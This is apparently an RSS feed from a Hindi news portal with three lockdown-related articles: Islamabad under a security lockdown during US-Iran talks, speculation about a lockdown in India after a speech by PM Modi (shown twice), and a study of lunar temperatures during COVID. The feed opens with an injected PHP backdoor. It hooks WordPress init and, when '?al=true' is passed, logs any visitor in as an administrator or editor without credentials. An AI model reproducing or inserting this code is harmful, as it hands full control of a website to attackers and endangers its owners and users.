// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); lockdown – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 23 Apr 2026 16:35:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 10 दिनों से ‘लॉकडाउन’ में इस्लामाबाद, पाकिस्तान की पब्लिक बोली – आवाम बददुआ देती है https://pratyushaashakinayikiran.com/?p=214051 Thu, 23 Apr 2026 16:35:00 +0000 https://pratyushaashakinayikiran.com/?p=214051 इस्लामाबाद

जंग अमेरिका-ईरान-इजराइल का है, पाकिस्तान ने रास्ता इधर का बंद कर दिया है. सारी आवाम बददुआ देती है, ये देखो न सब बंद पड़ा है, सारा आवाम बेरोजगार पड़ा है, महंगाई और गुरबत है, मुजाकरात (बातचीत) करें या न करें पाकिस्तान आवाम पे रहम करें। 

इस्लामाबाद के फिदाउल्ला ईरान वार्ता की बात सुनकर ही भड़क उठते हैं, और पाकिस्तानी हुक्मरानों पर खरी-खोटी सुनाने में तनिक भी परहेज नहीं करते हैं. ईरान वार्ता की आस में पाकिस्तान की राजधानी इस्लामाबाद पिछले 10 दिनों से लॉकडाउन की स्थिति में है. इस्लामाबाद में सड़के बंद हैं, बाजार ठप पड़े हैं, और चारों ओर सुरक्षा बलों का पहरा है. संभावित शांति वार्ता और हाई-प्रोफाइल दौरों की अटकलों के चलते शहर की सड़कों पर पाबंदियां लगा दी गई हैं। 

महंगाई से जूझ रही पाकिस्तान की गरीब जनता का कामकाज इस सिक्योरिटी लॉकडाउन की वजह से ठप हो गया है. और कमाई का सारा रास्ता बंद हो गया है। इस्लामाबाद में अमेरिका-ईरान बातचीत की अनिश्चितता के बीच सुरक्षा कड़ी कर दी गई है. अमेरिका-ईरान तनाव के बीच पाकिस्तान की राजधानी इस्लामाबाद अघोषित लॉकडाउन है। 

हालात से परेशान स्थानीय निवासी मोहम्मद साबिर ने कहा, "आवाम तो परेशान है न महंगाई की वजह से कभी बोल रहे हैं ट्रंप आ रहा है, इधर पाकिस्तान कभी बोल रहे हैं कि ईरानी सदर आ रहा है, भाई आए मुजाकरात करें खत्म करे, जब-जब वो नही आएंगे, पाकिस्तान की आवाम किधर जाए बेचारे, वो तो भूखे मरते रहेंगे, न कोई कारोबार है न कोई काम है, मुज़ाकरात करें मसले-मसाइल खत्म करें, अब यही सुन रहे हैं की अब आज आ रहे हैं, कल आ रहे हैं, ना कोई काम है, हम परेशान हैं। 

पूरे इस्लामाबाद में लॉकडाउन लगा हुआ है. पाकिस्तानी राजधानी की सड़कें कई दिनों से खाली पड़ी हैं, दुकानें बंद हैं और पब्लिक ट्रांसपोर्ट भी रोक दिया गया है. अधिकारियों और दफ़्तरों में काम करने वालों से घर से ही काम करने को कहा गया है, जबकि मज़दूरों के पास कोई काम नहीं बचा है. सड़कों पर सिर्फ़ सेना और पुलिस की वर्दी पहने लोग ही नज़र आ रहे हैं। 

कई लोगों को ऐसा लग रहा है जैसे वे फिर से महामारी के दौर में लौट आए हों. लोगों के लिए ये बेहद सख़्त और अनिश्चित काल तक चलने वाली पाबंदियाँ अब परेशानी और आर्थिक तंगी का सबब बन गई हैं। 

इस्लामाबाद और उसके पड़ोसी शहर रावलपिंडी में काम करने वाले कई मज़दूर, जो फ़्लैट का किराया देने में असमर्थ थे, उन्हें शनिवार को एक सरकारी आदेश के बाद बिना किसी सूचना के उनके हॉस्टल से निकाल दिया गया। इसके चलते हज़ारों लोगों को आनन-फ़ानन में रहने के लिए कोई दूसरी जगह ढूंढनी पड़ी। 

लग रहा है पिंजरे में कैद हैं
सुरक्षा के दृष्टिकोण इस्लामाबाद के कई इलाके खाली कर दिए गए हैं. इस्लामाबाद के एक सरकारी अस्पताल, पाकिस्तान इंस्टीट्यूट ऑफ मेडिकल साइंसेज में हेल्थ ऑफिसर अरीज अख्तर कहती हैं कि उन हजारों लोगों में से एक थीं जिन्हें उनके कमरों से बाहर निकाल दिया गया था. उन्होंने कहा, "शनिवार को बहुत अफरा-तफरी मची थी मैं खुशकिस्मत हूं कि मेरा गांव यहां से सिर्फ़ तीन घंटे की ड्राइव की दूरी पर है. लेकिन बहुत से लोग जो दूर के शहरों और प्रांतों से आए थे, उन्हें अपने सहकर्मियों, दोस्तों और रिश्तेदारों से मिन्नतें करनी पड़ीं कि जब तक अमेरिका-ईरान बातचीत पूरी नहीं हो जाती, तब तक वे उन्हें अपने यहां रहने दें। 

द गार्जियन से बातचती में अख्तर ने बताया कि जैसे-जैसे बातचीत में देरी होती गई उनकी निराशा भी बढ़ती गई. पब्लिक ट्रांसपोर्ट बंद होने का मतलब है कि वह शहर वापस नहीं जा पा रही हैं. उन्होंने कहा, "ऐसा लगता है जैसे हम किसी पिंजरे में रह रहे हों." "हम काम पर वापस नहीं जा सकते. मेरे जैसे बहुत से लोग फ्लैट का किराया नहीं दे सकते, इसीलिए हम हॉस्टल में रहते हैं। 

वार्ता को लेकर अनिश्चितता
इस्लामाबाद में वार्ता को लेकर अभी भी अनिश्चितता बनी है. राष्ट्रपति ट्रंप ने बुधवार को ही कहा है कि अगले 72 घंटे में वार्ता को लेकर अच्छी खबर आ सकती है. कुछ रिपोर्ट्स में कहा गया है कि अमेरिकी प्रतिनिधिमंडल का प्लान बदल गया और ईरान भी फैसला टाल रहा है. पाकिस्तानी सरकार ने सुरक्षा को प्राथमिकता दी है, लेकिन इससे स्थानीय लोगों की मुश्किलें बढ़ गई हैं. अगर वार्ताएं आगे बढ़ती हैं या रद्द होती हैं तो स्थिति में बदलाव आ सकता है, लेकिन फिलहाल शहर में तनाव और परेशानी जारी है। 

 

]]>
PM मोदी के भाषण के बाद लॉकडाउन की अटकलें तेज, जानिए सरकार का क्या है असली प्लान https://pratyushaashakinayikiran.com/?p=207786 Wed, 25 Mar 2026 17:05:00 +0000 https://pratyushaashakinayikiran.com/?p=207786 नई दिल्ली
क्या भारत में एक बार फिर से लॉकडाउन लगने वाला है? छह साल पहले साल 2020 में कोरोना वायरस महामारी की वजह से देशभर में लॉकडाउन लगाया गया था, जिसकी चपेट में लंबे समय तक देशभर के लोग रहे। अब ईरान-अमेरिका युद्ध की वजह से एक बार फिर से भारत में लॉकडाउन को लेकर लोगों के मन में सवाल उठने लगे हैं। संसद में प्रधानमंत्री नरेंद्र मोदी द्वारा दिए गए भाषण के बाद लोग इंटरनेट पर भारत में लॉकडाउन (Lockdown in India) जैसे कीवर्ड सर्च कर रहे हैं, ताकि यह पता लगाया जा सके कि क्या इसको लेकर चल रहीं अटकलें सही हैं या नहीं।

पीएम मोदी ने भाषण में ऐसा क्या कहा?
अमेरिका-ईरान युद्ध की वजह से पूरी दुनिया में तेल का संकट पैदा हो गया है। हाल ही में पीएम मोदी ने संसद में पश्चिम एशियाई संकट पर बयान दिया। लोकसभा में चल रहे बजट सत्र के दौरान बोलते हुए, नरेंद्र मोदी ने सोमवार को याद दिलाया कि कैसे कोरोना वायरस के समय में ग्लोबल सप्लाई चेन बाधित हो गई थीं, और इसकी तुलना अमेरिका-ईरान के बीच चल रहे संघर्ष से हो रही मौजूदा बाधाओं से की। उन्होंने कहा, "पहले भी हमारी सरकार ने ग्लोबल संकटों का बोझ किसानों पर नहीं पड़ने दिया था।'' उन्होंने सदन को पश्चिम एशिया में तनाव के संदर्भ में भारत की स्थिति से भी अवगत कराया। पीएम मोदी ने कहा, ''हम कोरोना के समय में भी एकजुटता से ऐसी चुनौतियों का सामना कर चुके हैं। अब हमें फिर से उसी तरह तैयार रहने की जरूरत है। धीरज, संयम के साथ शांति मन से हर चुनौती का सामना करना है।''

क्यों ट्रेंड हो रहा लॉकडाउन शब्द?
छह साल पहले पूरे देश में लॉकडाउन की औपचारिक घोषणा 24 मार्च, 2020 को की गई थी। उस समय, पीएम मोदी ने चेतावनी दी थी कि अगर सख्त कदम नहीं उठाए गए, तो भारत दशकों पीछे चला जाएगा। उसके बाद लंबे समय तक लॉकडाउन लगाया गया। अब पहली बार लॉकडाउन को लगे छह साल पूरे हो गए हैं। ऐसे में लोग लॉकडाउन को सर्च कर रहे हैं। वहीं, एक दूसरा कारण संसद में पीएम मोदी का कोरोना का जिक्र करना और उसी तरह की चुनौतियों के लिए फिर से तैयार रहने की जरूरत पर जोर देने की बात कहना भी। पीएम मोदी के बयान का यह हिस्सा सोशल मीडिया पर वायरल हो रहा है, जिससे लोग लॉकडाउन का जिक्र और उसे सर्च कर रहे हैं।

युद्ध के बीच लग सकता है लॉकडाउन?
अगर हम बात करें कि क्या अमेरिका-ईरान युद्ध की वजह से भारत में लॉकडाउन लगेगा? तो इसका जवाब है नहीं, लॉकडाउन नहीं लगेगा। पीएम मोदी या फिर सरकार की ओर से कोई संकेत भी नहीं दिया गया है। कोरोना महामारी के समय उसे फैलने से रोकने के लिए लगाया गया था। उस समय दुनियाभर के देशों ने इस लॉकडाउन को अपने यहां लागू किया था। लेकिन ईरान अमेरिका युद्ध के समय हालात ऐसे नहीं हैं कि लॉकडाउन लगाया जा सके। हालांकि, कुछ कदम जरूर उठाए जा रहे हैं, जैसे तेल संकट को दूर करने के लिए, एलपीजी संकट से निपटने के लिए सरकार विभिन्न फैसले ले रही है। गैस सिलेंडर के कालाबाजारी को रोका जा रहा है, पीएनजी कनेक्शन पर जोर दिया जा रहा है आदि। अब अमेरिकी राष्ट्रपति डोनाल्ड ट्रंप ने भी युद्ध के जल्द खत्म होने के संकेत दिए हैं और हमले कुछ समय के लिए रोके हुए हैं। ऐसे में यह साफ तौर पर कहा जा सकता है कि भले ही लॉकडाउन फिर से इंटरनेट पर सर्च किया जा रहा हो, लेकिन घबराने की जरूरत नहीं है। देश में कोई भी लॉकडाउन जैसी स्थिति नहीं होने जा रही है।

]]>
PM मोदी के भाषण के बाद लॉकडाउन की अटकलें तेज, जानिए सरकार का क्या है असली प्लान https://pratyushaashakinayikiran.com/?p=207788 Wed, 25 Mar 2026 17:05:00 +0000 https://pratyushaashakinayikiran.com/?p=207788 नई दिल्ली
क्या भारत में एक बार फिर से लॉकडाउन लगने वाला है? छह साल पहले साल 2020 में कोरोना वायरस महामारी की वजह से देशभर में लॉकडाउन लगाया गया था, जिसकी चपेट में लंबे समय तक देशभर के लोग रहे। अब ईरान-अमेरिका युद्ध की वजह से एक बार फिर से भारत में लॉकडाउन को लेकर लोगों के मन में सवाल उठने लगे हैं। संसद में प्रधानमंत्री नरेंद्र मोदी द्वारा दिए गए भाषण के बाद लोग इंटरनेट पर भारत में लॉकडाउन (Lockdown in India) जैसे कीवर्ड सर्च कर रहे हैं, ताकि यह पता लगाया जा सके कि क्या इसको लेकर चल रहीं अटकलें सही हैं या नहीं।

पीएम मोदी ने भाषण में ऐसा क्या कहा?
अमेरिका-ईरान युद्ध की वजह से पूरी दुनिया में तेल का संकट पैदा हो गया है। हाल ही में पीएम मोदी ने संसद में पश्चिम एशियाई संकट पर बयान दिया। लोकसभा में चल रहे बजट सत्र के दौरान बोलते हुए, नरेंद्र मोदी ने सोमवार को याद दिलाया कि कैसे कोरोना वायरस के समय में ग्लोबल सप्लाई चेन बाधित हो गई थीं, और इसकी तुलना अमेरिका-ईरान के बीच चल रहे संघर्ष से हो रही मौजूदा बाधाओं से की। उन्होंने कहा, "पहले भी हमारी सरकार ने ग्लोबल संकटों का बोझ किसानों पर नहीं पड़ने दिया था।'' उन्होंने सदन को पश्चिम एशिया में तनाव के संदर्भ में भारत की स्थिति से भी अवगत कराया। पीएम मोदी ने कहा, ''हम कोरोना के समय में भी एकजुटता से ऐसी चुनौतियों का सामना कर चुके हैं। अब हमें फिर से उसी तरह तैयार रहने की जरूरत है। धीरज, संयम के साथ शांति मन से हर चुनौती का सामना करना है।''

क्यों ट्रेंड हो रहा लॉकडाउन शब्द?
छह साल पहले पूरे देश में लॉकडाउन की औपचारिक घोषणा 24 मार्च, 2020 को की गई थी। उस समय, पीएम मोदी ने चेतावनी दी थी कि अगर सख्त कदम नहीं उठाए गए, तो भारत दशकों पीछे चला जाएगा। उसके बाद लंबे समय तक लॉकडाउन लगाया गया। अब पहली बार लॉकडाउन को लगे छह साल पूरे हो गए हैं। ऐसे में लोग लॉकडाउन को सर्च कर रहे हैं। वहीं, एक दूसरा कारण संसद में पीएम मोदी का कोरोना का जिक्र करना और उसी तरह की चुनौतियों के लिए फिर से तैयार रहने की जरूरत पर जोर देने की बात कहना भी। पीएम मोदी के बयान का यह हिस्सा सोशल मीडिया पर वायरल हो रहा है, जिससे लोग लॉकडाउन का जिक्र और उसे सर्च कर रहे हैं।

युद्ध के बीच लग सकता है लॉकडाउन?
अगर हम बात करें कि क्या अमेरिका-ईरान युद्ध की वजह से भारत में लॉकडाउन लगेगा? तो इसका जवाब है नहीं, लॉकडाउन नहीं लगेगा। पीएम मोदी या फिर सरकार की ओर से कोई संकेत भी नहीं दिया गया है। कोरोना महामारी के समय उसे फैलने से रोकने के लिए लगाया गया था। उस समय दुनियाभर के देशों ने इस लॉकडाउन को अपने यहां लागू किया था। लेकिन ईरान अमेरिका युद्ध के समय हालात ऐसे नहीं हैं कि लॉकडाउन लगाया जा सके। हालांकि, कुछ कदम जरूर उठाए जा रहे हैं, जैसे तेल संकट को दूर करने के लिए, एलपीजी संकट से निपटने के लिए सरकार विभिन्न फैसले ले रही है। गैस सिलेंडर के कालाबाजारी को रोका जा रहा है, पीएनजी कनेक्शन पर जोर दिया जा रहा है आदि। अब अमेरिकी राष्ट्रपति डोनाल्ड ट्रंप ने भी युद्ध के जल्द खत्म होने के संकेत दिए हैं और हमले कुछ समय के लिए रोके हुए हैं। ऐसे में यह साफ तौर पर कहा जा सकता है कि भले ही लॉकडाउन फिर से इंटरनेट पर सर्च किया जा रहा हो, लेकिन घबराने की जरूरत नहीं है। देश में कोई भी लॉकडाउन जैसी स्थिति नहीं होने जा रही है।

]]>
चांद पर भी पड़ा था कोविड लॉकडाउन का असर, वैज्ञानिकों का बड़ा दावा https://pratyushaashakinayikiran.com/?p=77939 Tue, 01 Oct 2024 09:06:00 +0000 https://pratyushaashakinayikiran.com/?p=77939 नई दिल्ली/बेंगलुरु
भारतीय शोधकर्ताओं ने पाया है कि 2020 के वैश्विक कोविड लॉकडाउन का चंद्रमा तक प्रभाव पड़ा था। पीयर-रिव्यू मंथली नोटिस ऑफ द रॉयल एस्ट्रोनॉमिकल सोसाइटी: लेटर्स में एक स्टडी प्रकाशित हुई थी। हमारे सहयोगी टाइम्स ऑफ इंडिया को पता चला है कि अप्रैल-मई 2020 के सबसे सख्त लॉकडाउन के दौरान चंद्रमा की सतह के तापमान में असामान्य गिरावट देखी गई थी।

फिजिकल रिसर्च लेबोरेटरी (पीआरएल) के के दुर्गा प्रसाद और जी अंबिली ने 2017 और 2023 के बीच चंद्रमा के निकटवर्ती भाग पर छह विभिन्न स्थानों – ओशनस प्रोसेलारम के दो स्थान, मेरे सेरेनिटैटिस, मेयर इम्ब्रियम, मेयर ट्रैंक्विलिटैटिस और मेरे क्रिसियम पर रात्रि के समय सतह के तापमान का विश्लेषण किया। पीआरएल के निदेशक अनिल भारद्वाज ने कहा कि यह हमारे समूह का एक महत्वपूर्ण कार्य है। यह काफी अद्वितीय है।

कैसे की स्टडी?
नासा के चंद्रयान (Lunar Reconnaissance Orbiter) के आंकड़ों का उपयोग करते हुए, शोधकर्ताओं ने पाया कि लॉकडाउन के महीनों में चंद्रमा के तापमान में अन्य वर्षों की तुलना में लगातार 8-10 डिग्री कम (8-10 केल्विन) हो गया था। प्रसाद ने टाइम्स ऑफ इंडिया को बताया कि हमने वास्तव में 12 सालों का डेटा विश्लेषण किया था, लेकिन अध्ययन में समानता बनाए रखने के लिए हमने सात सालों (2017 से 2023) का डेटा इस्तेमाल किया,लॉकडाउन वाले साल 2020 से पहले के तीन साल और उसके बाद के तीन साल।

शोधकर्ताओं का मानना है कि लॉकडाउन के दौरान पृथ्वी से निकलने वाले विकिरण (Radiation) में कमी के कारण चंद्रमा का तापमान कम हुआ। चूंकि मानवीय गतिविधियों में काफी कमी आई थी, ग्रीनहाउस गैसों और वायुमंडलीय कणों (Aerosols) का उत्सर्जन भी कम हो गया, जिसके कारण पृथ्वी के वायुमंडल में कम गर्मी फंसी और वापस निकली।

तापमान में काफी बदलाव
शोधकर्ताओं ने विभिन्न स्थानों और वर्षों में तापमान में काफी बदलाव भी देखा। सबसे कम कुल तापमान 2020 में साइट-2 पर 96.2 K था, जबकि सबसे कम तापमानों में सबसे अधिक 2022 में साइट-1 पर 143.8 K था। आमतौर पर, 2020 में अधिकांश स्थानों पर सबसे ठंडा तापमान देखा गया, जबकि 2021 और 2022 में जब पृथ्वी पर मानवीय गतिविधियां फिर से शुरू हुईं, तब एक उल्लेखनीय तापमान बढ़ने का रुझान देखा गया।

के दुर्गा प्रसाद ने समझाया कि चंद्रमा पृथ्वी के विकिरण के चिन्ह का एक प्रवर्धक (Amplifier) के रूप में कार्य करता है। इस अनूठी वैश्विक घटना ने हमें यह देखने का एक दुर्लभ अवसर प्रदान किया कि पृथ्वी पर मानवीय गतिविधियों में बदलाव हमारे निकटतम खगोलीय पड़ोसी को कैसे प्रभावित कर सकता है।शोध पत्र में लिखा है कि चूंकि कोविड लॉकडाउन के दौरान चंद्रमा के रात्रि के समय सतह के तापमान में असामान्य कमी देखी गई है, इसलिए अन्य संभावित कारकों जैसे सौर गतिविधि और मौसमी प्रवाह विविधता के प्रभावों की भी जांच की गई है। परिणाम दर्शाते हैं कि इन कारकों में से किसी का भी अवलोकित हस्ताक्षर(Observed Signature) पर कोई प्रभाव नहीं है, इस प्रकार यह हमारे निष्कर्षों का समर्थन है कि यह केवल कोविड लॉकडाउन के कारण है।

]]>